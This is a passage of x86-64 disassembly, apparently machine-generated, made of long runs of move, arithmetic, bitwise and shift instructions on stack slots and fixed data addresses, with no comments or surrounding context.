mov rcx, qword [rsp + 0xc830]
mov byte [rcx], al
lea rax, [rsp + 0x11c0]
mov qword [rsp + 0xcb10], rax
movsx eax, word [0x1401e89a8]
mov rcx, qword [rsp + 0x92e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa640]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd1]
mov byte [rsp + 0x24b], al
mov rax, qword [0x1401e7028]
mov rcx, qword [rsp + 0xa2c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9228]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc660]
mov rcx, qword [rsp + 0xa990]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc618]
mov dword [rcx], eax
lea rax, [rsp + 0x9980]
mov qword [rsp + 0xcb18], rax
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x4f90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x528c], eax
mov rax, qword [rsp + 0xbe78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1668]
add eax, ecx
mov rcx, qword [0x1401e87c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9518]
movzx eax, byte [rax]
mov byte [rsp + 0x24c], al
mov rax, qword [rsp + 0xb0f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb0]
add eax, ecx
mov rcx, qword [rsp + 0xadd8]
mov byte [rcx], al
movzx eax, word [rsp + 0x147c]
mov rcx, qword [rsp + 0xa1e0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x14fc], ax
mov rax, qword [rsp + 0xa438]
movzx eax, byte [rax]
mov byte [rsp + 0x24d], al
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x52e8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x51cc], eax
lea rax, [rsp + 0x8fd0]
mov qword [rsp + 0xcb20], rax
mov eax, dword [rsp + 0x53cc]
movzx ecx, al
mov eax, dword [rsp + 0x529c]
sar eax, cl
mov dword [rsp + 0x4eac], eax
mov rax, qword [rsp + 0xad60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90f8]
mov qword [rsp + 0xcb28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb28]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8d50], rax
movsx eax, word [rsp + 0x11fc]
movsx ecx, word [rsp + 0x143c]
and eax, ecx
mov word [0x1401e71c0], ax
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
mov byte [rsp + 0x24e], al
mov rax, qword [rsp + 0xb5a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1224]
sub eax, ecx
mov rcx, qword [rsp + 0xcae0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1314]
mov word [rsp + 0x1704], ax
mov rax, qword [rsp + 0x9968]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a8]
add eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0xbdb8]
mov rcx, qword [rsp + 0xc280]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f44], eax
mov rax, qword [rsp + 0xba78]
mov rax, qword [rax]
mov qword [rsp + 0xcb30], rax
mov rax, qword [rsp + 0xaee0]
mov ecx, dword [rsp + 0x54e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x51f4], eax
mov rax, qword [0x1401e7028]
mov qword [rsp + 0xcb38], rax
mov rax, qword [rsp + 0xc4f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc548]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8c10]
mov byte [rcx], al
mov rax, qword [rsp + 0xa960]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20b]
sub eax, ecx
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0xb6a0]
movzx eax, word [rax]
mov word [rsp + 0x1708], ax
movsx eax, byte [rsp + 0xba]
movsx ecx, byte [rsp + 0x12e]
add eax, ecx
mov rcx, qword [rsp + 0xb8a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1278]
add eax, ecx
mov word [rsp + 0x1478], ax
lea rax, [rsp + 0x51d8]
mov qword [rsp + 0xcb40], rax
mov rax, qword [rsp + 0x96d0]
mov rcx, qword [rsp + 0xbd68]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xab80]
mov qword [rcx], rax
lea rax, [rsp + 0xcab8]
mov qword [rsp + 0xcb48], rax
mov eax, dword [rsp + 0x5198]
movzx ecx, al
mov eax, dword [rsp + 0x4cec]
sar eax, cl
mov dword [rsp + 0x4e54], eax
lea rax, [rsp + 0x100]
mov qword [0x1401e8f68], rax
movzx eax, word [rsp + 0x1508]
mov rcx, qword [rsp + 0xa6a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1478], ax
movzx eax, byte [rsp + 0x11a]
mov byte [rsp + 0x24f], al
mov rax, qword [rsp + 0xb858]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21b]
or eax, ecx
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x9c40]
movzx eax, word [rax]
mov word [rsp + 0x170c], ax
mov rax, qword [rsp + 0x9bd0]
mov rcx, qword [rsp + 0xbc30]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9958]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcb48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad00]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb3b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5400]
mov dword [rsp + 0x5504], eax
mov rax, qword [rsp + 0xac30]
mov ecx, dword [rsp + 0x4f88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e3c], eax
lea rax, [rsp + 0x1248]
mov qword [rsp + 0xcb50], rax
mov rax, qword [rsp + 0xc740]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x224]
sub eax, ecx
mov byte [0x1401e7053], al
mov rax, qword [rsp + 0xc7f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13cc], ax
movsx eax, byte [rsp + 0x214]
movsx ecx, byte [rsp + 0x125]
and eax, ecx
mov byte [rsp + 0x153], al
lea rax, [rsp + 0x13e0]
mov qword [rsp + 0xcb58], rax
mov rax, qword [rsp + 0x8d80]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb7d8]
mov qword [rcx], rax
lea rax, [rsp + 0xb458]
mov qword [rsp + 0xcb60], rax
mov rax, qword [rsp + 0x92b8]
mov rcx, qword [rsp + 0x97d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9eb8]
mov dword [rcx], eax
lea rax, [rsp + 0x5420]
mov qword [rsp + 0xcb68], rax
movzx eax, byte [rsp + 0x14e]
movzx ecx, byte [rsp + 0x1df]
add eax, ecx
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0x9618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1270]
sub eax, ecx
mov word [0x1401e710c], ax
movsx eax, byte [rsp + 0x174]
movsx ecx, byte [rsp + 0x11a]
xor eax, ecx
mov rcx, qword [rsp + 0x9918]
mov byte [rcx], al
mov rax, qword [rsp + 0x9660]
movzx eax, byte [rax]
mov byte [rsp + 0x250], al
movzx eax, word [rsp + 0x16a4]
movzx ecx, word [0x1401e8e60]
or eax, ecx
mov word [rsp + 0x1160], ax
lea rax, [rsp + 0xb938]
mov qword [rsp + 0xcb70], rax
mov eax, dword [rsp + 0x5328]
movzx ecx, al
mov eax, dword [rsp + 0x533c]
sar eax, cl
mov rcx, qword [rsp + 0xa610]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcb60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc410]
shl rax, cl
mov rcx, qword [rsp + 0xa9b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ddc]
mov dword [rsp + 0x5508], eax
mov rax, qword [rsp + 0x9460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d]
and eax, ecx
mov byte [rsp + 0xe3], al
lea rax, [rsp + 0x12e0]
mov qword [0x1401e8f70], rax
mov rax, qword [rsp + 0x8c88]
movzx eax, word [rax]
mov word [rsp + 0x1710], ax
mov rax, qword [rsp + 0x9288]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x24d]
add eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1228]
movsx ecx, word [rsp + 0x10f0]
add eax, ecx
mov word [rsp + 0x1318], ax
mov rax, qword [rsp + 0xba08]
mov eax, dword [rax]
mov dword [rsp + 0x550c], eax
mov rax, qword [rsp + 0x98f0]
mov rcx, qword [rsp + 0xab80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xace0], rax
lea rax, [rsp + 0x4ccc]
mov qword [rsp + 0xcb78], rax
mov rax, qword [rsp + 0x94b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb090]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc3d0]
mov qword [rcx], rax
lea rax, [rsp + 0x179]
mov qword [rsp + 0xcb80], rax
mov rax, qword [rsp + 0x90e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7138], ax
mov rax, qword [rsp + 0xbbc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16e]
and eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0xa258]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa218]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc448]
mov byte [rcx], al
mov rax, qword [rsp + 0x9590]
movzx eax, word [rax]
mov word [rsp + 0x1714], ax
movzx eax, byte [0x1401e707a]
movzx ecx, byte [rsp + 0x204]
add eax, ecx
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0xba08]
mov eax, dword [rax]
mov dword [rsp + 0x5510], eax
mov rax, qword [rsp + 0xc280]
mov ecx, dword [rsp + 0x4e64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f00], eax
mov rax, qword [rsp + 0x9958]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb070]
shl rax, cl
mov qword [rsp + 0xad90], rax
mov rax, qword [rsp + 0xc980]
mov rax, qword [rax]
mov qword [rsp + 0xcb88], rax
movzx eax, word [rsp + 0x13d0]
mov word [0x1401e8f78], ax
mov rax, qword [0x1401e8a90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa5b0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc9e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x150]
mov byte [rsp + 0x251], al
mov rax, qword [rsp + 0xb818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb050]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa580]
mov word [rcx], ax
movsx eax, byte [0x1401e87a7]
movsx ecx, byte [rsp + 0x1c0]
xor eax, ecx
mov byte [rsp + 0x1b9], al
mov rax, qword [rsp + 0xa480]
mov eax, dword [rax]
mov dword [rsp + 0x5514], eax
mov rax, qword [rsp + 0x9b00]
mov ecx, dword [rsp + 0x5400]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4fb4], eax
mov rax, qword [rsp + 0xada0]
mov rax, qword [rax]
mov qword [rsp + 0xcb90], rax
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0xc728]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb210]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb330]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xae]
sub eax, ecx
mov byte [0x1401e88da], al
movsx eax, word [rsp + 0x1304]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xacf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbef8]
movzx eax, byte [rax]
mov byte [rsp + 0x252], al
mov rax, qword [rsp + 0xc108]
movsx eax, word [rax]
movsx ecx, word [0x1401e7138]
add eax, ecx
mov rcx, qword [rsp + 0x9470]
mov word [rcx], ax
lea rax, [rsp + 0x1440]
mov qword [rsp + 0xcb98], rax
mov rax, qword [rsp + 0x9820]
mov rcx, qword [rsp + 0xc310]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f70], rax
mov rax, qword [rsp + 0xc0b8]
mov eax, dword [rax]
mov dword [rsp + 0x5518], eax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xa338]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc260], rax
mov rax, qword [rsp + 0x9000]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x539c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ee4], eax
mov rax, qword [rsp + 0xb598]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7023]
sub eax, ecx
mov byte [0x1401e70d7], al
movzx eax, byte [rsp + 0xb9]
mov byte [rsp + 0x253], al
movzx eax, word [rsp + 0x13b8]
mov rcx, qword [rsp + 0xb618]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1534], ax
movzx eax, byte [0x1401e87e3]
mov byte [rsp + 0x254], al
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1128]
or eax, ecx
mov rcx, qword [rsp + 0x8f50]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ea0]
mov ecx, dword [rsp + 0x5338]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5248], eax
mov rax, qword [rsp + 0xa9f8]
mov rax, qword [rax]
mov qword [rsp + 0xcba0], rax
mov rax, qword [rsp + 0xa558]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbcd8]
mov qword [rsp + 0xcba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcba8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xaa08], rax
lea rax, [rsp + 0x52d4]
mov qword [rsp + 0xcbb0], rax
mov rax, qword [rsp + 0xbde8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8ad8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8b98]
mov byte [rcx], al
mov rax, qword [rsp + 0xac60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12e0]
and eax, ecx
mov rcx, qword [rsp + 0xab28]
mov word [rcx], ax
movsx eax, word [rsp + 0x13dc]
mov rcx, qword [rsp + 0xa8a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaae0]
mov word [rcx], ax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0xcbb8], rax
mov rax, qword [rsp + 0xaeb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1308]
sub eax, ecx
mov rcx, qword [rsp + 0xae08]
mov word [rcx], ax
lea rax, [rsp + 0x4fc4]
mov qword [rsp + 0xcbc0], rax
mov rax, qword [rsp + 0xa980]
mov rcx, qword [rsp + 0x98b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbdc8]
mov qword [rcx], rax
lea rax, [rsp + 0xaab8]
mov qword [rsp + 0xcbc8], rax
mov eax, dword [rsp + 0x4fb8]
mov ecx, dword [rsp + 0x4ed8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9298]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18b]
add eax, ecx
mov byte [0x1401e70da], al
movzx eax, byte [rsp + 0x9c]
movzx ecx, byte [rsp + 0x224]
sub eax, ecx
mov byte [rsp + 0x1a0], al
movzx eax, word [rsp + 0x1280]
mov word [rsp + 0x1718], ax
mov rax, qword [rsp + 0xaf68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa668]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0xa218]
movzx eax, byte [rax]
mov byte [rsp + 0x255], al
mov rax, qword [rsp + 0xb048]
mov rcx, qword [rsp + 0x9368]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ad0]
movzx ecx, al
mov rax, qword [rsp + 0xa240]
shl rax, cl
mov qword [rsp + 0xc1d8], rax
lea rax, [rsp + 0x4e54]
mov qword [rsp + 0xcbd0], rax
mov rax, qword [rsp + 0xb5d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5458]
shr eax, cl
mov dword [rsp + 0x4e74], eax
lea rax, [0x1401e70a0]
mov qword [0x1401e8f80], rax
lea rax, [rsp + 0x1308]
mov qword [rsp + 0xcbd8], rax
movsx eax, word [rsp + 0x170c]
movsx ecx, word [rsp + 0x12dc]
xor eax, ecx
mov word [rsp + 0x16f8], ax
mov rax, qword [0x1401e8f00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x139]
or eax, ecx
mov byte [rsp + 0x1e3], al
movzx eax, byte [rsp + 0x1d6]
mov byte [rsp + 0x256], al
mov rax, qword [rsp + 0xad60]
mov rcx, qword [rsp + 0x9f50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xafc0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5478]
mov dword [rsp + 0x551c], eax
mov eax, dword [rsp + 0x4e9c]
mov ecx, dword [rsp + 0x503c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5430], eax
mov rax, qword [rsp + 0xb690]
mov rcx, qword [rsp + 0xc680]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa338]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xf1]
movzx ecx, byte [rsp + 0x1d5]
sub eax, ecx
mov byte [0x1401e7032], al
lea rax, [rsp + 0x13e0]
mov qword [rsp + 0xcbe0], rax
movsx eax, word [rsp + 0x1164]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a68]
mov word [rcx], ax
mov rax, qword [0x1401e89d8]
movzx eax, byte [rax]
mov byte [rsp + 0x257], al
movsx eax, word [rsp + 0x141c]
mov rcx, qword [rsp + 0xa128]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc328]
mov word [rcx], ax
lea rax, [rsp + 0x52c0]
mov qword [rsp + 0xcbe8], rax
mov rax, qword [rsp + 0xc050]
mov rcx, qword [rsp + 0xa160]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa9b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc590]
mov rcx, qword [rsp + 0xac78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc6d0], rax
lea rax, [rsp + 0x4e98]
mov qword [rsp + 0xcbf0], rax
movsx eax, byte [rsp + 0x1c5]
mov rcx, qword [rsp + 0xc820]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0xa4d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7130], ax
mov rax, qword [rsp + 0xb158]
movzx eax, byte [rax]
mov byte [rsp + 0x258], al
mov rax, qword [rsp + 0xb660]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
sub eax, ecx
mov word [rsp + 0x132c], ax
mov rax, qword [rsp + 0xafe0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1318]
sar eax, cl
mov rcx, qword [rsp + 0xc328]
mov word [rcx], ax
mov rax, qword [rsp + 0x9170]
mov qword [rsp + 0xcbf8], rax
mov rax, qword [rsp + 0xc0a8]
mov eax, dword [rax]
mov ecx, dword [section..data]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x53e0], eax
mov rax, qword [rsp + 0xaa08]
mov qword [rsp + 0xcc00], rax
mov rax, qword [rsp + 0xbaa0]
mov ecx, dword [rsp + 0x5104]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x51b0], eax
movzx eax, word [rsp + 0x1158]
movzx ecx, word [rsp + 0x124c]
shl eax, cl
mov word [rsp + 0x1290], ax
lea rax, [rsp + 0x18a]
mov qword [0x1401e8f88], rax
lea rax, [rsp + 0x1684]
mov qword [rsp + 0xcc08], rax
movsx eax, word [0x1401e8c34]
movsx ecx, word [rsp + 0x151c]
and eax, ecx
mov rcx, qword [rsp + 0xc9e8]
mov word [rcx], ax
lea rax, [rsp + 0x177]
mov qword [rsp + 0xcc10], rax
mov rax, qword [rsp + 0xa550]
mov rcx, qword [rsp + 0x90f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9068]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x541c], eax
mov rax, qword [rsp + 0x9808]
mov eax, dword [rax]
mov dword [rsp + 0x5520], eax
mov rax, qword [rsp + 0xb300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c80]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9228]
mov qword [rcx], rax
mov rax, qword [rsp + 0xafa8]
movzx eax, byte [rax]
mov byte [rsp + 0x259], al
movzx eax, word [rsp + 0x1048]
mov rcx, qword [rsp + 0xb9e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8970]
mov word [rcx], ax
movsx eax, byte [rsp + 0x259]
mov rcx, qword [0x1401e8ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb4a8]
mov byte [rcx], al
lea rax, [rsp + 0x1144]
mov qword [rsp + 0xcc18], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf1]
add eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x9ba0]
mov rcx, qword [rsp + 0xbb78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x52e0], eax
mov rax, qword [rsp + 0xae20]
mov qword [rsp + 0xcc20], rax
mov eax, dword [rsp + 0x548c]
mov ecx, dword [rsp + 0x5290]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5160], eax
lea rax, [rsp + 0x99f0]
mov qword [rsp + 0xcc28], rax
movsx eax, word [rsp + 0x12b8]
movsx ecx, word [rsp + 0x1368]
or eax, ecx
mov rcx, qword [rsp + 0xb468]
mov word [rcx], ax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov byte [0x1401e88dc], al
mov rax, qword [rsp + 0xc040]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
sar eax, cl
mov byte [rsp + 0x1eb], al
lea rax, [rsp + 0x186]
mov qword [rsp + 0xcc30], rax
mov rax, qword [rsp + 0xc9c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14b4]
xor eax, ecx
mov word [rsp + 0x1618], ax
lea rax, [rsp + 0x1430]
mov qword [rsp + 0xcc38], rax
mov rax, qword [rsp + 0xb538]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5140]
shl eax, cl
mov dword [rsp + 0x54d4], eax
mov rax, qword [rsp + 0xbed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f78]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbdc8]
mov rax, qword [rax]
mov qword [rsp + 0xcc40], rax
mov rax, qword [rsp + 0x9e38]
mov rcx, qword [rsp + 0xb0f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbfa0]
mov qword [rcx], rax
lea rax, [rsp + 0xb1]
mov qword [0x1401e8f90], rax
mov rax, qword [rsp + 0xacf8]
movzx eax, word [rax]
mov word [rsp + 0x171c], ax
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbdf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x144c]
mov qword [rsp + 0xcc48], rax
mov rax, qword [rsp + 0xbd40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20f]
add eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0xaa70]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5130], eax
mov eax, dword [rsp + 0x53f0]
mov dword [rsp + 0x5524], eax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba00]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa1e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb8f0]
mov rax, qword [rax]
mov qword [rsp + 0xcc50], rax
mov rax, qword [0x1401e8ef8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc258]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e705c], ax
movzx eax, byte [rsp + 0x235]
movzx ecx, byte [rsp + 0xe6]
add eax, ecx
mov rcx, qword [rsp + 0xac58]
mov byte [rcx], al
movsx eax, word [rsp + 0x1654]
movsx ecx, word [rsp + 0x1668]
add eax, ecx
mov word [rsp + 0x1644], ax
mov rax, qword [rsp + 0xac28]
movzx eax, byte [rax]
mov byte [rsp + 0x25a], al
movsx eax, byte [rsp + 0xb7]
movsx ecx, byte [rsp + 0x147]
add eax, ecx
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0xa770]
mov rax, qword [rax]
mov qword [rsp + 0xcc58], rax
mov rax, qword [rsp + 0xb0c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb650]
mov qword [rsp + 0xcc60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc60]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9258]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ee4]
mov ecx, dword [rsp + 0x5448]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc3d8]
mov dword [rcx], eax
lea rax, [rsp + 0x50cc]
mov qword [rsp + 0xcc68], rax
movzx eax, byte [rsp + 0x1cd]
movzx ecx, byte [rsp + 0x18d]
or eax, ecx
mov byte [0x1401e70a3], al
mov rax, qword [rsp + 0xaeb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1254]
sar eax, cl
mov rcx, qword [rsp + 0x9e08]
mov word [rcx], ax
movzx eax, word [0x1401e709c]
mov word [rsp + 0x1720], ax
mov rax, qword [rsp + 0xbdf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9550]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1c0], al
movsx eax, word [rsp + 0x136c]
mov rcx, qword [rsp + 0x9220]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11a4], ax
lea rax, [rsp + 0x9188]
mov qword [rsp + 0xcc70], rax
mov rax, qword [rsp + 0x90e0]
mov rcx, qword [rsp + 0xb110]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fb8], rax
lea rax, [rsp + 0x537c]
mov qword [rsp + 0xcc78], rax
mov rax, qword [rsp + 0x9760]
mov ecx, dword [rsp + 0x4fc8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x527c], eax
mov rax, qword [rsp + 0xcb98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1498]
add eax, ecx
mov word [0x1401e71c4], ax
movzx eax, byte [rsp + 0x151]
mov byte [rsp + 0x25b], al
movsx eax, word [rsp + 0x1640]
movsx ecx, word [rsp + 0x1094]
sub eax, ecx
mov word [rsp + 0x139c], ax
movzx eax, byte [rsp + 0xa2]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xab00]
mov byte [rcx], al
movzx eax, word [rsp + 0x1288]
mov word [rsp + 0x1724], ax
mov rax, qword [rsp + 0xa3f0]
mov rcx, qword [rsp + 0xb638]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa00], rax
lea rax, [rsp + 0x5404]
mov qword [rsp + 0xcc80], rax
mov rax, qword [rsp + 0xada0]
mov rcx, qword [rsp + 0xaf20]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9d0], rax
mov eax, dword [rsp + 0x5210]
mov ecx, dword [rsp + 0x51d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5120], eax
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x16b]
shl eax, cl
mov byte [0x1401e87f6], al
lea rax, [0x1401e88c6]
mov qword [rsp + 0xcc88], rax
mov rax, qword [rsp + 0xa0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13f4]
xor eax, ecx
mov rcx, qword [rsp + 0xaec8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb848]
